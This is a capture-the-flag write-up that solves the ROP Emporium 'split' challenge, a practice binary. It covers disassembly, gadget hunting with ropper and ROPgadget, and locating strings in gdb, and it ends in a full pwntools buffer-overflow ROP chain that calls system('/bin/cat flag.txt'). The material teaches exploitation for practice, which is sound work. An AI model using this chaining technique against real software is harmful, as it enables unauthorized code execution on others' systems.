split

This challenge is going to be a step above the first where we must jump between multiple links before jumping to a final function.

Initial Analysis

Unlike other binaries, I am going to make a preliminary check first. This is something you can do across any binary to find interesting information before you start.

I want to check the `strings` to see the hardcoded strings in the binary. This can often be a useful way to see not only the strings in the binary, but the functions that are present. As we navigate the binary, we'll look around for these strings to ensure we understand the control flow.

Here are the most important things I found with `strings split`:

```
/bin/ls
;*3$"
/bin/cat flag.txt
split.c
pwnme
usefulFunction
libc.so.6
puts
printf
memset
read
stdout
system
setvbuf
```

Here's what we found:

- Since functions names are just ASCII text and are also hard coded, we can find those.
- We see that `/bin/cat flag.txt` is called, as well as `/bin/ls`. `ls` is a new one we haven't expected to see, so we need to carefully watch for what that does.

Let's run the binary and see what happens:

```
$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> ok
Thank you!

Exiting
```

```
$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
Thank you!
Segmentation fault (core dumped)
```

This is performing as expected. It's crashing for large input. We're not seeing the `ls` or `cat flag.txt` call yet, so let's go hunting.

Static Analysis

We'll disassemble these the same way we disassembled *rop2win*: writing equivalent C code as we go.

Our primary functions are `usefulFunction`, `pwnme`, and `main`. We'll start with `main()`:

```
int main()
{
    setvbuf(stdout, 0, 0x2);
    puts("split by ROP Emporium");
    puts("x86_64\n");
    pwnme();
    puts("\nExiting");
    return 0;
}
```

Then we'll do `usefulFunction`:

```
void usefulFunction()
{
    system("/bin/ls");
}
```

Well we found the `ls` call. Where's the `cat flag.txt` call? Let's check `pwnme` to see if it's there:

```
void pwnme()
{
    memset(rbp-0x20, 0, 0x20);
    puts("Contriving a reason to ask user for data...");
    printf("> ");
    read(0, rbp-0x20, 0x60);
    puts("Thank you!");
}
```

We don't have `cat flag.txt` here. What are we going to do? We need to consider the attack vector.

The Attack Vector

The **attack vector** is the method we use to exploit the binary. The goal here is to understand how we need to exploit the binary. *Take a minute to think about how you would do this yourself before considering my solution.*

The key here is that **we don't have to jump to the start of a function**. We can choose to jump in the middle of a function if this benefits us more. Therefore, our attack vector looks something like this:

1. Overflow the buffer to overwrite the return pointer and control execution.
2. Find a way to control `rdi` so that we can pass a parameter into a function.
3. Load `rdi` with the address of `/bin/cat flag.txt`.
4. Jump immediately to the call to `system` with `rdi` loaded so that `system("cat flag.txt")` gets called.

With some good foresight, we can see that this is going to take 3 jumps to do. We'll call each jump a *link* inside the chain.

Now, let's gather everything we need for the attack.

Gathering the Materials

We need to find the following:

- The size of the padding.
- A gadget to write to `rdi`.
- The address of `/bin/cat flag.txt`
- The address of the `system` instruction.

Getting the Padding

Getting the padding is the easiest part. We start writing to `rbp-0x20`, so we need to write `0x20+0x8` bytes to reach the return pointer.

Getting the Gadget

We only need one major gadget: the ability to write to `rdi`. We want to write to `rdi` from the stack. This calls for a gadget that does the following:

```
pop rdi; ret;
```

Let's understand why this works.

- `pop rdi` takes the first item off the stack and stores it in the register provided (`rdi`). This loads the desired value.
- `ret` continues our control of the return pointer in the same way we controlled it prior.
- The lack of further instructions improves our chances of not overwriting data that will cause the program to crash.

How do we find gadgets? There are two popular choices for programs that find gadgets: **`ropper`** and **`ROPgadget`**. Both are equally useful and I often find myself using them interchangeably. For continuity sake, I will stick to `ROPgadget`. For this binary, I will show both functions.

To show all gadgets, we can use:

```
$ ropper -f split
$ ROPgadget --binary split
```

This will show a long list of every gadget that the libraries can find. We can filter this one of a few ways:

```
$ ropper -f split | grep rdi
$ ROPgadget --binary split | grep rdi
$ ROPgadget --binary split --only "pop|ret"
```

The third instruction is `ROPgadget` exclusive, and lets you only show binaries with specific instruction sets. Based on all these instructions, we should find the following gadget:

```
0x00000000004007c3 : pop rdi ; ret
```

The left is the address of the instruction, and the right is the gadget. This is exactly what we needed!

Finding the String

`gdb` makes this process super easy. Since the string is hardcoded, we can just search for it in memory. We can do this with the `search-pattern`:

```
gef➤  search-pattern "/bin/cat flag.txt"
[+] Searching '/bin/cat flag.txt' in memory
[+] In '/home/joybuzzer/Documents/vunrotc/public/binex/05-
rop/split/src/split'(0x601000-0x602000), permission=rw-
  0x601060 - 0x601071  →   "/bin/cat flag.txt"
```

This shows us the string is at `0x601060`.

Finding the `system` Instruction

We know this is inside `usefulFunction`. We want to use this rather than going directly to better simulate the code truly executing this instruction.

```
   0x000000000040074b <+9>: call   0x400560 <system@plt>
```

Putting it all Together

Let's take each step and put it together.

Step 1: Padding

We need to write `0x20+0x8` bytes to reach the return pointer. We can do this with:

```
padding = b'A' * 40
ropChain = b''
```

Step 2: Gadgets

We need a gadget to call `ret`.

```
g_ret = 0x400619

ropChain += p64(g_ret)
```

We need to write the gadget to the stack. We can do this with:

```
g_popRdi = 0x4007c3
v_catFlag = 0x601060

ropChain += p64(g_popRdi);
ropChain += p64(v_catFlag);
```

Step 3: Go to System

We need to write the address of `system` to the return pointer. We can do this with:

```
f_system = 0x40074b

ropChain += p64(g_ret)
ropChain += p64(f_system)
```

Now, to put it together.

```
from pwn import *

proc = process('./split')

g_ret = 0x400619
g_popRdi = 0x4007c3
v_catFlag = 0x601060
f_system = 0x40074b

# step 1: overflow the buffer
padding = b'A' * 40
ropChain = b''

# step 2: write address of /bin/cat flag.txt to rdi
ropChain += p64(g_popRdi);
ropChain += p64(v_catFlag);

# step 3: return to system
ropChain += p64(f_system)

# send the payload
print(proc.recvuntil(b'> '))
proc.sendline(padding + ropChain)
proc.interactive()
```

If we run this, we'll get the flag!

> *Please make sure that everything we did in this binary makes sense. This is the foundation of ROP and it only gets harder from here.*